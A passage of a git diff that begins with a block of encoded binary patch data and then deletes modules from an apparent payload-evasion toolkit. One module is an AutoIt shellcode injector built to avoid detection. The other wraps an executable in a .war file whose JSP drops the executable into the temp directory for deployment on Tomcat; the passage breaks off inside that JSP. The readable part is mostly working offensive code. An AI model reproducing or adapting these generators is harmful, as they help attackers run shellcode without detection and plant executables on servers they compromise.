z)-RX?d9XGYrv>xe_F{#n_zAS7FDyl0#zzF<3|RL_PF7|3siW&fa=vWhtZ7hT?5tx} z#%cnRExkT{z`%NAuKHsBWy6OI^YH&NfEM1Vo>J zEjrLX{Ep^;&Oqc$K+BIp^#@NuDiMcofBW06(STyU8(i3GzY5_L+vZZ>aJ%-xQHpjQ zJ$e*=`qQ6+R@nflj&F$CJrty?kwy34qXNi;butI6#HsOl!Jy})Js&(E8-=_>p4Aj% zTk_F7EMKx51_uUl9l$uk0FKzk&~uc7q>e6}a`;i>qZF(9+}i8~hidW< ze((dxV>ICBZy|Y6;~@uVE9(>}WOw9A%mJ0jeugRNnliV5$hgk4_P->wm}I^F%Ik2V z=LFuKK^VaMvTDLl?VbOLoFA?u#NRl1qK9;*&zK-b&4RI&)GXJC>xx0{tHfewoy>v4 zZ`F<^5F0!W-~8q`^=QCi?P66EKm~_NJ5=im`s~vn`Dq@i$@kxXKlBe4_6F3VNdeGS zkfmfRPXJ~~l4SyHF|(XFZOA5D;Gy;QyAM*~XZ7FKz@hyI@$yo5=g}n&U?HcDuItG8 z-!K}md1{+Mgm&_?GXV>LHwT2KGI?@y0Jt>)g*=xy0f7lr?tUHOz5C$mtFMN(wl*Wb zd}@C&5?TdMP`IFN^Mk*feZy<|sqljb4?_CfTOg98J}Zf8YEmKdjLy+%noVgJY6hDo zK=U<_==Gx1a@lBZDM;)^eaIdkR|P5d&LpxT4#HrQ@;sXp`DCzWTX zi{xjY;gaC(+qXk<;k6L08OHz{zg~_(t^)CfF$pxy+`HQ`PQZqj)|I#3XWA^6X3!^F zHgDArlKz1(fdApz+|W`-7cK(W8c!voljqG6RCN_|fbTnn@pKG&;4NGm1L>j(q>j7~ z>BAf0yz|a8qX8|P;j8^#@Lu(*wk2pg%7G)O%^ya)9((LDc;}sWATj4sh>n?R)7UKp zCL+mPzHl$TbE2fTcmc0jI0gKOn~Lapret#r7TUFQ7reKABVIm47{EPFT?#j~cVaZ) zfk-TtYF#)_A8=k;yPE^7w!n5+Y7T%9EF_u(f}eobM3`1EW<#=jJ5=mntA8r|!V537 zpvvg*3&UPNm6E?09I9;&OXIciXeGA1CD zwV4Av6X4+)1O^9<_wI+PT`OSv^y!Y#fTz37A5@Bl;SccB2Uhxr(JntYXj;B}xxP0b zMgzvDSOIe)Y1@Q5E4k@qK418Zn79NOK+aS&YiB=8$P1q#!%NLrip(rlGV!s?l7+tY zbf3^?0!SO*BpSf^w*LZ3mD)Qul1k@InmZE`sg#Z2eK7%}XRexn#2n!3)9lY=ngB_$ zp>C+zu>{7CA1{pt3{&!lF(v2qOr^dcIKA-tmBgj&n_GRjHTV-xJOR<>S&*2C8lR}X zTX(WcPIY&j9<&!@)K0rOATb&AB=`rYkYu$Eb`{~^;2^xbcp1WMC$}@jy#Y(f0G5*T z#p7q~eR(`pUDW?IWJ<=8M21AOIb-H2Axb5wL?I+o#>{gOnKP7pyMB9Lu16jX&-=cA{?6yK+UJ~m&t2cO_S$Rjz1BL?4|F*kFJ(YbJn47AOp`NA zS&<@-$Gw23MU&=?&z(yKJ9o}4>GF|ZIM4lh&iLLGrrqxQHp?$}ws8E~n{xVk`Kb%^ ziB#|J`+Z&$E%WNA>LL#2L4A3Z!4yVimsSaOYHkks1qSte-eLm-SJsG9zj*$7u@N1$ zK)v?5d=N}5Xp1-)BlDvFf%~U>Yj5t?tqm{~qwT+|VT|7PWfg#eC*QY+S<-fwb&an* z_n`N|sjsyTT-Tq6`Umb#G~ar9Gc-A)Gv85YTAM!Ut4I^BZnMW0z#G(YkQncr-CXHRG>+E2@>Q?(Zyttdrli!DrG zDq+7`Qa9CXTNZuXie)yg4%|tEFROEe%<}J;Q%cDv^i>i}S=!pI`|V9tQM_ez^^m#ZHZ1g^AeUsn}o;qGo6MbrPD*RO5i2kQ0QN#6X6LQmbY5~VBL*hx=kCUUm% z=#Y$`NXldCdcMbsJB<979o$}dg^P(-AxL@;KV$cT(3NWX18Fj^2aDn(=ZR(=6xXWW zD@IW!WOmVvy(XTX5SS=IOUOe3hVV)%hv$bMtJvDwF0U(M_(&W2%$w7uYN6qey~ew{ z`sU^z^5KbSKYx0xN7$jKfmNGr9$!q3Qzm0m?{V*DDdtnjT~aTCzGv6mv{shx-Ohj_Ef412+q8K6>KZyK`qnq;-dk>j(km?>-q+$)8NU0TZ?jZ_ z@NQSbD)nf(WEtjF-{)~BTV+$;7c*{XmOpF8RWP)-miNdYzg^eGc_OfQF99~5k>x*! z{=PUxC&$KYvzq>sk9haFY_tHs^y4b*389Y9H!0`QTX#t4E(n!Yy?I{`VW}9US^enE z_UE@&<$QV0Y}c+|TYS)`>fpAUL&%WyySN3#-in8uWuSKFL{T_|HH z@6NpXEt}TQDXJLds>@DezA!Wr5qfHuS*JuJ7pTq|4q#HGSW?olCP(M$HB+WePm2Yg zxIf-=F0df9D=-a#lRf?m5yz8k%*@wwNX zA(O4*NBWyr(tF?BJvn%#$UCxL;OgTS%huj{Asm>vEB|sWGgFb3zPEGV>Fs5=2L_!z zue$VZb{~CW#sA2Oqi$!jCHg}nvPFvQxqa%{^B*0M=T(XP{D?Z0%d*EdSi|CDc?HGj zz&B0_>DYCt%Rwha$f$B0q5>G|#UvZkyV?l+h8|5`1U z^Xv+vkbWv%*VkLpb|T}sNqx?%7IO^I7K$)RmB%qDiE!s{D@4(K_YOO4-73Pl)>M&$ zV_aJtzW)&3^T}d&@zH>|9oB25j2{oX4jy>+h^P3QxA!gPa3ZC^HzkMn8V5Fe3G2(6 zwo6)Y39ee@zxK1#N##?*s*x3q&%RKs9xD~4u(aF76ByyjXGKZ4|AHc?i?}_fC_k|5 z!}a%ZEWVr*PVVz7FFLQSr%zW>FXH`PcHn`KJIeO)x3(}eUQ0Aw{wnd__*`Cw7ca+0 zQdweBs8kjGM(q4O@}C@QNR8E%bMIy;*j2$aoRN|9VUJoE%&8X(*qk+b547%e*(9|x zEI53{EQaSH^fkI3#PTqP|vdZ{VeqGE(K@H7IEyV*K+L}_OZ%=tC zJR}zL_}Cww3qZU)w!b_KwJ@iLyS`BPuL? zE~8b+(0G7Jw)0JOW32Ft!pGZHT-`Yj!76^D@9_35NhpBn8$05gn<7b(mwYQ}t5Z<# zex`S?8r0=v#VEGrrF>zGxXbO3#?zqoYF)=-2W>0#2N-kqd@kwO;=Omn{o;c}(KaF) zRYOn0*@e3+e|!i$q0P4WZHIYvQYI&LHM=wr-W|(+J<@v7!=z-3@rCrQ#+;HA4XXZC zoWm)NjJ3C=x2yT?QMx)L7UNC3mvDYDePS}jn3WSTyYI~f1Nq7)oRVkc#f8jRE^Qd) z>hjLBo%8HqdxEVP=NX>Qyled3-%xjWyiIGhRvzjs`ZQYe!gUYRp(=)ZoAR1O-dITT z*)z$>#QFDlXiBCNTY@g$OJ=oCNi?QvBZQE!ZES(xIl7q@*6^ zscuD?A^S{vJtw=Gu&3#Ob6n5BvMTAC>spF5!A3ST4*arJF$K9HVlK`G#{))EpC7WK z)J6YiJ+1nDw#c&%A}6W$8RUxkCy(3md7CFH&I`NmH#+3D{mHoJk6!Ow9v|eHR?3V; z?BGle*)ESujjHdZ$@BZ)_lwt~EbzFw@98uD%VBvkY=?v_wBIu>>kp{Abwtp|=-J`$ zG`EMX&gX_}sV$Yh-5l^{=6d|&v#lT1_Y=*p>XpQMU7lvTujcl)pQBth9onHhN6IS!V#n zK(CADNGk3UtYRE3sTyBn*IrEVl5<{r3xg!f!tnV@7yVbRW0T%myTad!QJ~&hUeL~2 zC}^48F29q?zq{1tBq<(Z}ayvyp-eG0tx%~#aO zz0641;`NrniMV;cGkaUa;(8XT@z1^N-37Fo&StkA-Sv#Op-vE6#2#k(BfU2xG5x}s z-CbOFcWdste$fMEtjF6vX0A`Qm;ct#T^#vNN-N;jHE&P86K-y9&fgjcED2i&A{7-c z**&>v`=U!_B`sCyu~c56jAY%1kCdPHY`DIndYio!WrCs^tI+$*g_T!pUQk*I5dt<< zk49KgKDFjZE>U96RcHKA@nyFb{mQ(XnMSpN-9|Td>L04wlfqlSu^Kw6tWL?&C+B?8B^5!@Nm&s1P z1YL)DgD#BXj~^8&$QkTlFZNy;@krz2NK5&EY?!TV>5mU(pDQTlirxr|s!)uN*|U|( zF>uJ{(#oNXz&B80*<1ALcn_T}{m87)jf zX9yXTF23YUFL<#6)$8VJQGLJA^rU=q&aF%rE{;{-key!EJgY&exk4{fYGb$Bts}BE z7Ea<4+KM#SxrGPo!=Cy?i$;!9mnbspI}8Xne_>Y$4NGWIOH$|cc=LL%NaN+F!fWEA zD9m;Z<#{Ig^uCI=FJ;RuaDC}sy`JhxNRF6)d7QCIs$!4l@+kIbF#^Y-+Rg>h+%k+M z9Zqv~lOW(IpJew7Hqk+D_}W)XKhd^ zGuv1w9n&tSSWhOlfX+?Fsd~894=xHgBy;F=)E#+K`E82{w?t|Uf|W8Oa=01&z7Mwy zMg?$ePw(j zj8$Sqwo&D@@%1Iu%Mwk^e{6Q3(E1v*xbB6pEp6)poxMhvb_8e&WVdqpp2!(G8GAXa z?s#i5%dn{bVu7Fzy+Hwg-leTSIIn#WI?Tf#vD-t_ylEdZ8p*w!Nf~6?u zm=ODQXVFvo9`ZDLC`J+#N8fH(`hz-2)%|>5r)E-hS+Vtff%SsMhZoz8D%yqevf1!6 z9&Sjj=LqLwj(g{x{-tBh3B^b@^JQjF7-ebbKKKY^{%E+r@%CxK=I`3Oga;R0yG1o% ztD`O6JI_p5P}rDtchF&hobpW_tNWLiN-RoX*-@@Pn8EaQWbL4MyJ6^eodo3fqQ4H6 znXGU!ilwT}=eoAk@FByND$g}W$9eKKmKrE|h@Z2`uiZ;27yXXiK#aEF<$?;YGcT%b zWL`x`e6m)~*Zq2Y-M+QjZD&Vx1)YwBoN}I1qdCtksM<1g?h3WRr6-v83VaFd;S``g z%^$OVBj;R!xQZkKakn|^Zp}9Px}G}feYA7m&iP0!-$!^)dn$O#jkMUf#tpac+)Z!U zykZeyD;R#(>W$jWyWXc%qQUr;Tg0h_;gS9cBMVh(FE?sOK75sY=DG)?TC}*c@|F>L zQHOpBM}nl+0?}k1f8#FxB!_(qbkpQ+M$ml9A3bJh^>r1SRFkuF>IGNnr%lvW3EXo2 zv0Zy#`LvflW>#&NjTeM^f0bJw?f zZg-i3&n{)8kEh9Q2us=h>I`4uNQQRdwT_&%dGmDE(WNZO$;$YuS(CteId*)x*N*3H zdxXz^4rp3Y{XPD}?v*|UddfnD72lg*elb_qKgh8tHI`#A{4qiF0+aG>>X!LAC%A*h zo<3UCGWz-$f3o(?Rjbm^92Bp6DQVqsgS%m2d8>!_m-(vIL8XSCJA>An_e2rITpcf| zM_IB5dHTPwla!8@t@^f4Z#74xUXmz9UVgrw6!(B_T>tr`79M>gTc`9B>$SUwIF&!A zunecGyjQ#4E<}IOG5T4cedi%*GjE?UhD75eJ6P&M0>1o7CD@T|AsmsM;vF>=^Ky<-@ew04+vMO^}Jh3>v=a! zhL=CYeQgSVd~cocmMsrte2HUsw&WUBgy)JLUZ+my+TxIuCP@8U%er)-@BI@Y`Vvmh zqnsaGA6@L++0U!Hhwl7|Zlb`kV*4QBn%4^kuRr;wf9ilpQ%xa{eKEo5EZg3FrTd>o zGH$bEYJA%5l2h~jMz5sMnQW(eif&d5rrYxewHImmuc&L)3!?9s`|y=~oK0gS3zcVa zBFo?g)oNkB2gj;}KmX__$ZB_rvOfQ2*u%MlKHDKS%R_bSik_a{rSLYbLtp7X9nFwV zMOBLY{j0xv^*%545-awYV=S!Xx7dC`c{*X$Rkb-B^Uc!279Z($4V*(Cfr8yXT zjp|@t?0nC|k?_1t>`D5atRu>lB1`QI{Jv}+7}E(f52L57_PUYRZRCG=6+2DAp3==P z7%6#8Rti%^KU`(OAfOf|@z^lSj)ihaVDq3qJD-f$wHuT<>~ZY6?LllD=na4K+iBu8 z-_M=fa+8qy^u@VlEoxMiO__W-d=4v%eH?$>e82F~q3;n%iov}udkOXf=Ha^^b#7*D zu&VpC<9l27gLsOs2R@Q6R?pD|-t9Gl`?tI-rz4 z?|(Wd(YNWCX$i|&=m^pb)C3`FO45&Tq5GVOI4CG6I8e)mh!qhtA|^zPh~^?YOcdyRI-$$|bYMPmyexzycOB-DaN`9KxMlvhhc5dkdv(^n zJ#tK4I+BZ@czJn!ICSXH3sY0mhZ{C*Xk52$UA2&q(A9+t7oKNkX3nIeqf4Wvrj9|s z6^;n&^avtXM28R^KxB@{6p;}keMFjwlo81w5=XQG(NaWMXY&zZonX0sd(5FEP)TxA zh6Hb&KOSq&4RQOHK-_+QNU&N8iPp;?@qjRRTPQ+VSs7GSRl$uLH=w4b2I}hSNG-m1 z<;oSv&CP|Bl$7yf$Bunlp2Sy}ln z8E)RZ3H9~$(9qBTw{PEuyLaybD)WVV_wGS+b2Hq(e;?4ha-?%CH!7lm?CfkJdeLkU z$@>HkkMG&VN= zQU;VxhPJjgc=+%kJbLs9+S}U!y*CFL>1mMRrVi=ON{E*?}4z#-4m|4FtJc!L@7G{z``5^}}p3q$Wf`fxj*k zVhTWiHX2i)9ux)YLs5`E6eBwCzY)B2IPzxe7f z-MaP1@i4s~VuG9y{^{6}?kDwLJc<1xx=yl|_%_pq&^3*};r#x8^uB^*@5y!(dQUkd z21y4c;dtaR(zwHZ=5J&mkLkbZhvQ!RXSEr!-m&g42J1oe-c|1qUOb;n9q5`Rbo-(o z*hfz3eH!-ELlO{UD-9@%4;L?9{2$5iyYYbi(oyH_llDHl-Y*90!zF}2!c?ej3i#v+ z!Y>rDi}xSwllG4FjPQXQt~NV?X621HSv!NpovKLBao8hME0v>Cz=gb=M{7 z{U>`zeL=!KiTyId@2SlmHWR=7dOF9GGwdDP3<b> z%*=#rUp<6>!e+3a!DDqM_KQI}a9EWIucLlCTs4@EVjuZ0y-#9KKdb;g2lOE;E9?J6 zhM9ipWKzNucCw$DiT!fOMkw~z0vj3XZ9joW7arQI8Nb7R#&tcMbW#FuyKUg_Y7K!$ zTp&2W7a}8$LPA0UoIQJ%)F&4%T=?txfh+?a5Ao6Aq`7HA@Bg+LjQt9td@p4@cdeg^ z-&cQO1=-J}VSAsZcZ~gvt0J6rQ--tdDsaw270!98BhrA=ZW@r}q6txlv>?oG1BBQc zK(Nye2zA>B;ogVfSdbS)MT9~^d@Q7=r$b?3A(WPulGd(x-Aa}rD$sQT|D=y3k5z2% zWb9W$bRff7hKTSB{tN#m&PQZ>FFd*vDzif1TADjtjIoA-upN-)qw^E?OfL<{^3sH? zBU+H{txcjFpAC@ftAl7GwRT}V8<5u%**;HcwfICgj^L>{q% zNFQ5B^T780YrSLaS3@>Hs*TuJgdgvnema7;E%}JYD%S6-7hTZv`Zbi@YlpxqO|b8L z3v4TBg{`@FVfUG9;C?C_@(a&FV@W#HosWUabAfOz*#$10K=WtVb|?%qgn~)zq_x;j zYl45)Vt?{8)Af$AmmrEWUon92j?Ghwno5@GIK2!4m6wbB+Utu4tx-kx7 z^+b@oO$6yCBFNms?HH^neFq!z??XX-8@ze*<{v_GzwCYvoljcfNlP8H-MRwz%Cn&H zQXD|d^`nw@&w@*IAO60(wyZ%_ee1C z6np^TN+PViNrZKGh@j9y1m!j&s68Tr`ePz!v=c!Uoh!7W?_BSLBbS@t&D*!|_80V% ze3P=ie%%8-FT0@o*&}$?S`UvKOQE$Y2b!*)goc7}sLk+%s*^Tw{rGm0-b+HXpcGN~ z_9a!b;FnLd6^E^^hk^V2XAmk!xaubKjd5!|A;QKEBItJ#VN=%xZG27yO>|!geJ*-q z2%^hd;N81-B>I&ce{=uevc87fg`p(uB_Wy+Xt*eI7W_t$4r;)8vK{zKiO6P%Acgdf zvFjk*2Hiw3dPRh7Jw(|4nh0A_yZHqX^pHGQhV>7KAYSkUI$rhwdKrC+$nyMc`z!g{ z8!n?h&_pt5z>y7X5i{}I$jmvo+r<_Z7mtA;(!IznBFH0~(SAyVEiZ{+j4+$LCBn{k z6NJyP9QZR`)DLRNrlcCaz^NOp(AU>DD@~W{SLeTyv#mOdguOIG9UK+uooC{AQDX^J z_lW|Y%R~^ani#7p4=3!z_ze+E5$;{R{}8^$GT{EeeWQis#C_m#wFTb4e?Ke!U&-~m z`(!y=N)ix$b+{U&0%)CSG84b&h6U;C1Cn9MRe+T@0Qna{V-%2$07>V&dI918nXnAT zZzjH@(*dCT5WwMTD+zype?O_kviukNl`MA)gW+0;8WbIo!*j37O#HqEi?6K@NCDmw zfK|0bki7?J%mT^gO-Xvk*s=b}GEDTz4ul_%3*AmYHU!{U(h3;+pXk5HgumNx&IRFD zfgBfcj30*=e>wt{v%R)j$Bxete!lnvlElBkKi&RG_}`)aL1O^-0Uqmk zKEOT~j|J?Hq>&wpp?QQSs{{H5KEUAM;BWEICR<<6bA)|8lm#n5`D-c0m7!k1#Ye^b=uu{zR{z z-6df!3zmb>%^bNi@monz8lH7i1*Kpzems83_CMWze)d0D|E9>ECgy^Pe!z2@bZjQj z&R+=ggx7#VSqCVhIb1Nm0|q`0!tn6$tTa=u>DMprmm&OeP#z=;L7Uj4XX1BIoNJSb z*73?D{K)^*&G0`{_D`O_$i8&q8v7wE!%ox}*dNhzE(XMdL`!zrfeKpZ2^ApxgF`Sf zGD4zX$uZmgj`~~@_OhUL;HEa$Z6^N1>a2ly|1p7o=J@@c{Y>~FY(peFnzW_)QgT!H zh24%#;r}o+44*!Inv#Jm%b(iz@SH!og>@FK6D2rGzRcGN$<`}5IW!ntGuH?^U-&b{fOkXldymO{24G|IsQas zxgJ~yLinZNlIL2mmZDUjiQm_N=L+8QP2ityKWJ`3^B1;r*^hY|3_kia-g-cV3R? zu2nPfhZrxrhxe;0B>m5hAI||&7aoA&lVK8mtaGgEt*<8h=B6$nVa9V9UQeqd|B3en z;H)A zpX6)aje~0K3y`_m4zi_BLACxZXtj=j)}wErf$T)Nl|~ zkk#-6^6xx@qI=Jw^3h9p@@4==zkG#n-@Z-J*RNmUZwSkTzekqs^QR%G3X_G3fVB{} zYhfqCJ9F)@80DErF^<2%k9{PbtBjD{=p!3nSJDL^Mn>WL_wRpA)8+czIhJE&;5AeR zi9%(-YKYp-errnclP5?X{&;K2Z#c%G5^@^&O3>aBtv_W^i~;X?@!EJ|{X8*_@m!0? zD;}qKUny~=3qF1tg&#kD{E_~PjO6cr=xHNiuk>FDp@z(bGx6hV`}GWVC+%d2r1k$* zBCM>zK4T)zfN|nEiR>>)wu5{PUL#=tB63dQQ7<;Ava`4w- zjGYZX+K*A7epou+v!HCr6@cZ{6Z=QJch^IETf9fyf%cG?CUg(5@i~y=aYB=8i3RNJz-a`9#w06XC9vm~l z{eW$0VvRZBBk}rjX=-C%qL2Bh{Aibw;)EkD*Uv@vHkM|Mx8JRTx83b9ipC$7jYuT^ zOTO7;o_-I@+jS!ms{EEgnYREq$W!elW1Y3NN)}{GdOEc9IvNAWhH$)X{rw3$!fRq2 z|G_q|f%aLXm`}|xk*$oMSYAv|uJ}Wx?^4LO=Nh*ZCn(M2HS?O%E?tQ= zx~WsJH~BlHmR2t3f7{}pBcR{;sYQAt zU8B|ypG<4JC$GB+?vwiU9V76{<$R?8GzjH#a3F;bkuswHP^U%DNJEg6;h*ERmW#@E z2{U0QD;+^^K0CV+s$JShOG~SW>a!%!Pp(C@5|J<>T#Lkuh#L{ENy7D8?1*rk53b!J z*ZE*u!L>fW99N6xQ5d@EvVMxS;F+pTiru#qQcot3YBGw7iXbB+gBTMN^UcrCZ{*;? zgYQjDOu98SHJio7#Y=g3cv6{|n0!!;)ho*tj$d@-tF7)SL(y@Bqw zl>wW1Jv}#YnAyqEY9T&r5iP*{rh`D&91%M?C*_{ton*Tbj$4V6a(CpKAdCV3J~_8F z8wOneL$3Wf8|^hwH#1o;ljoxi8Llc2Ya#N|Qj!AKWRVWUUnIty7uADJ@IHxn<9v1K zekoEt1Fq}&pI}G}JvdRXGg+%MJ@=1lbu7vJZDgpl$-J@LxHcrkUJSx)R7m`lr86F~lGH z1JV&_#8o(x_h}b-IOb#bQ(eS=!H}Pyhjjn5+_**q=Y5lH#NUy5<2Gdbl3Qe*W4Y52 zZ=9QscT|N4R}(mX#1f(d93dv$o0JbvN{lD@1zazKYbIy&4_RkYf6hBk^2WLHlhz{5 z)A=9WDbSVXxQ>)hzHq`4@H-EEl6E2{xHr;Ot{I3|*V;tFTIbRgMP2V!0HAl}0m z68-i;a;O8O9X|r;3E_|&X#G##cpC4kC|?|BvGNL;Kk5gH<7UEN&Z6A=)6Oo4s(J)_ zN}j{UD=%Q;PanWjl-GTT^13Y*S#alaBGl)FLd_XBs7$hkYmwWg@|{PGc>~G((OPtM zh`k2zX1<0MXpe#SNE#?_hVy4Q=3xuz2WqjIKIYv6r4*juj-yPclE0r)%5!f zneK2kP#NdiWXSw|HgUO$$Ckr#lpj>Mk8%Y_-~a5bCt|8Nzln8#^J!+)FaDK>`rEuy zZHgrndHq~t8MKuzS|Y9-R@^{#hVt%M_Z#lMBgN-%Y=sOmEX7t28GF79+Pf8=|aQx3_) z1pk@+|Bw6=eE;zW;vw0>YIzqYMYOs=|kSFs;`+@_wu3aj=3e7!8|H%ItBL6eNf1V=VvKjvcEV-%Wq92uK<1Cm=|Z;)=B|z^|0G-qAdAK`?pso9a55%~ z`y1Dhy^o&`=9sn;!7>zEYDD!Fh!>u7vA@T2 z4whZMWgL8yPv5?ME$6|#%A)?~tqsI}$PA|!L z_FSl_=d1Aft`AGIAJ?#jmmNa9>3;Rx@9rava}aT(`9{iKj!Fk#Pyc>5iaKDbMqvU( zgkKQ;j6{B@{S8r}&!&j*^SfBMu8&03m>(m7wwo7dahw8g%J~reDNeymM_6bqGcRYa zGW!J+opm{umX>FYjg1r3)YKwGL`06DcaO|bj6wzd6t3aKdt3Z2%hWzQXbXE_{C+;t zzCJa~hO}nKdnf!}5Z=ePw6u`k2}1Y2C3%@Nr8&swrrOI!A2kso#TSp7aHZirBHo*x zigY9GNAbFU=5OHr_qjlmsr7KWqkI9vL5SSVSAw4W~a6J|1l@)PkSI`;(NoqojQy-k0LN`SjnYLYVM7GNhVOwC+!_lO)BbWB0G>%|iLG zb10{s?5YjP-o|h$*b>e}Izv{xKjfc^g5vBn$V*4>G2p!#dKRzQ6D`;5#dZ^YNNL=m z<_&1od<31Ex8PLX40q})ptbe_G+obth6`~}mmLh%r(B^t!4gU%wvyJ{kvj#nQGS$L zBknv%p>;jZF_6}?Xr1YN=N+l0ZsvOR?PR^6T#heK*jP6w$*lDsw~)$28( zb;T^TROB^hdGt2C*5n8=UaG$~uM@OU?qk#v46&MGOjU_&Zz~l8>oH-tugR=gS-yv@9lv?H?fzv@8hf_ z{QvblX-!3h1u{w?QTz~wCu;!6^L5{gHpp{c)rg-@vXxFIKab}{gU7>Q*!i7Q&!OHl z0+DU~q}<%}{OH^ETF7%0BKeyXd%0r#JkDKV>^Mj3*xU!N`iEc?<-_p&F?}Ax=dbP+ zLH0quM9e?Ph;Ow(PEVgQ@`YIM*gqere>sd|^dATN-@zElbCLZlx$UY=M*fz|2S1Mw z_V@>;!k7EI*3}Mvlc?;w%azn9h3_NVV(`%8Uz!UbQqoOq6pkh2WGYC7>8xATGDg>|DXS^f&T|m(hU&+ diff --git a/Tools/Evasion/payloads/__init__.py b/Tools/Evasion/payloads/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/autoit/shellcode_inject/flat.py b/Tools/Evasion/payloads/autoit/shellcode_inject/flat.py deleted file mode 100644 index 5e08362..0000000 --- a/Tools/Evasion/payloads/autoit/shellcode_inject/flat.py +++ /dev/null @@ -1,88 +0,0 @@ -""" -AutoIT wrapper for shellcode injection - -Module built by @harmj0y -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.shortname = "Inline" - self.description = "VirtualAlloc pattern for shellcode injection" - self.language = "autoit" - self.rating = "Normal" - self.extension = "au3" - self.name = "AutoIt Flat Shellcode Injector" - self.path = "autoit/shellcode_inject/flat" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"] - } - - def generate(self): - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - - # get it in AutoITs format - Shellcode = "0x" + "".join(Shellcode.split("\\x")) - total_size = len(Shellcode) - - RandFuncName = evasion_helpers.randomString() - RandArgName = evasion_helpers.randomString() - RandASMVarName = evasion_helpers.randomString() - RandASMBufferName = evasion_helpers.randomString() - RandBinBufferName = evasion_helpers.randomString() - length_limit = 4000 - - # keep that pesky tray icon from appearing - payload_code = "#NoTrayIcon\n" - payload_code += RandFuncName + '(fileread("%WinDir%\\system32\\calc.exe"))\n' - payload_code += 'Func ' + RandFuncName + '($' + RandArgName + ')\n' - if total_size > length_limit: - all_lines = [Shellcode[i:i+length_limit] for i in range(0, len(Shellcode), length_limit)] - first_run = True - for line in all_lines: - if first_run: - payload_code += '\tLocal $' + RandASMVarName + '="' + line + '"\n' - first_run = False - else: - payload_code += '\t$' + RandASMVarName + ' = $' + RandASMVarName + ' & "' + line + '"\n' - else: - payload_code += '\tLocal $' + RandASMVarName + '="' + Shellcode + '"\n' - payload_code += '\tLocal $' + RandASMBufferName + ' = DllStructCreate("byte[" & BinaryLen($' + RandASMVarName + ') & "]")\n' - payload_code += '\tLocal $' + RandBinBufferName + ' = DllStructCreate("byte[" & BinaryLen($' + RandArgName + ') & "]")\n' - payload_code += '\tDllStructSetData($' + RandASMBufferName + ', 1, $' + RandASMVarName + ')\n' - payload_code += '\tDllStructSetData($' + RandBinBufferName + ', 1, $' + RandArgName + ')\n' - payload_code += '\tLocal $Ret = DllCall("user32.dll", "int", "CallWindowProc", "ptr", DllStructGetPtr($' + RandASMBufferName + '), "ptr", DllStructGetPtr($' + RandBinBufferName + '), "int", 0, "int", 0, "int", 0)\n' - payload_code += "EndFunc\n" - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/auxiliary/__init__.py b/Tools/Evasion/payloads/auxiliary/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/auxiliary/coldwar_wrapper.py b/Tools/Evasion/payloads/auxiliary/coldwar_wrapper.py deleted file mode 100644 index d00e49a..0000000 --- a/Tools/Evasion/payloads/auxiliary/coldwar_wrapper.py +++ /dev/null @@ -1,158 +0,0 @@ -""" -Auxiliary module that takes an executable file (.exe) and converts -it into a .war file, specifically for deploying against Tomcat. - -99% of the code came from the metasploit project and their war payload creation techniques - -Module built by @christruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from lib.common import helpers -from binascii import hexlify -import settings -import zipfile -import random -import string -import os -import sys - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "Auxiliary script which converts a .exe file to .war" - self.language = "python" - self.rating = "Normal" - self.extension = "war" - self.name = "Coldwar Wrapper" - self.path = "auxuliary/coldwar_wrapper" - self.cli_opts = cli_obj - self.payload_source_code = '' - - self.required_options = { - "ORIGINAL_EXE" : ["", "Path to a .exe file to convert to .war file"] #/usr/share/windows-binaries/nc.exe - } - - def generate(self): - - # Set up all our variables - var_hexpath = evasion_helpers.randomString() - var_exepath = evasion_helpers.randomString() - var_data = evasion_helpers.randomString() - var_inputstream = evasion_helpers.randomString() - var_outputstream = evasion_helpers.randomString() - var_numbytes = evasion_helpers.randomString() - var_bytearray = evasion_helpers.randomString() - var_bytes = evasion_helpers.randomString() - var_counter = evasion_helpers.randomString() - var_char1 = evasion_helpers.randomString() - var_char2 = evasion_helpers.randomString() - var_comb = evasion_helpers.randomString() - var_exe = evasion_helpers.randomString() - var_hexfile = evasion_helpers.randomString() - var_proc = evasion_helpers.randomString() - var_name = evasion_helpers.randomString() - var_payload = evasion_helpers.randomString() - random_war_name = evasion_helpers.randomString() - - # Variables for path to our executable input and war output - ORIGINAL_EXE = self.required_options["ORIGINAL_EXE"][0] - war_file = settings.PAYLOAD_COMPILED_PATH + random_war_name + ".war" - - try: - # read in the executable - with open(ORIGINAL_EXE, 'rb') as orig_binary: - raw = orig_binary.read() - - txt_exe = hexlify(raw) - txt_payload_file = open(var_hexfile + ".txt", 'wb') - txt_payload_file.write(txt_exe) - txt_payload_file.close() - except IOError: - print(helpers.color("\n [!] ORIGINAL_EXE file \"" + ORIGINAL_EXE + "\" not found\n", warning=True)) - return "" - - # Set up our JSP files used for triggering the payload within the war file - jsp_payload = "<%@ page import=\"java.io.*\" %>\n" - jsp_payload += "<%\n" - jsp_payload += "String " + var_hexpath + " = application.getRealPath(\"/\") + \"" + var_hexfile + ".txt\";\n" - jsp_payload += "String " + var_exepath + " = System.getProperty(\"java.io.tmpdir\") + \"/" + var_exe + "\";\n" - jsp_payload += "String " + var_data + " = \"\";\n" - jsp_payload += "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" - jsp_payload += var_exepath + " = " + var_exepath + ".concat(\".exe\");\n" - jsp_payload += "}\n" - jsp_payload += "FileInputStream " + var_inputstream + " = new FileInputStream(" + var_hexpath + ");\n" - jsp_payload += "FileOutputStream " + var_outputstream + " = new 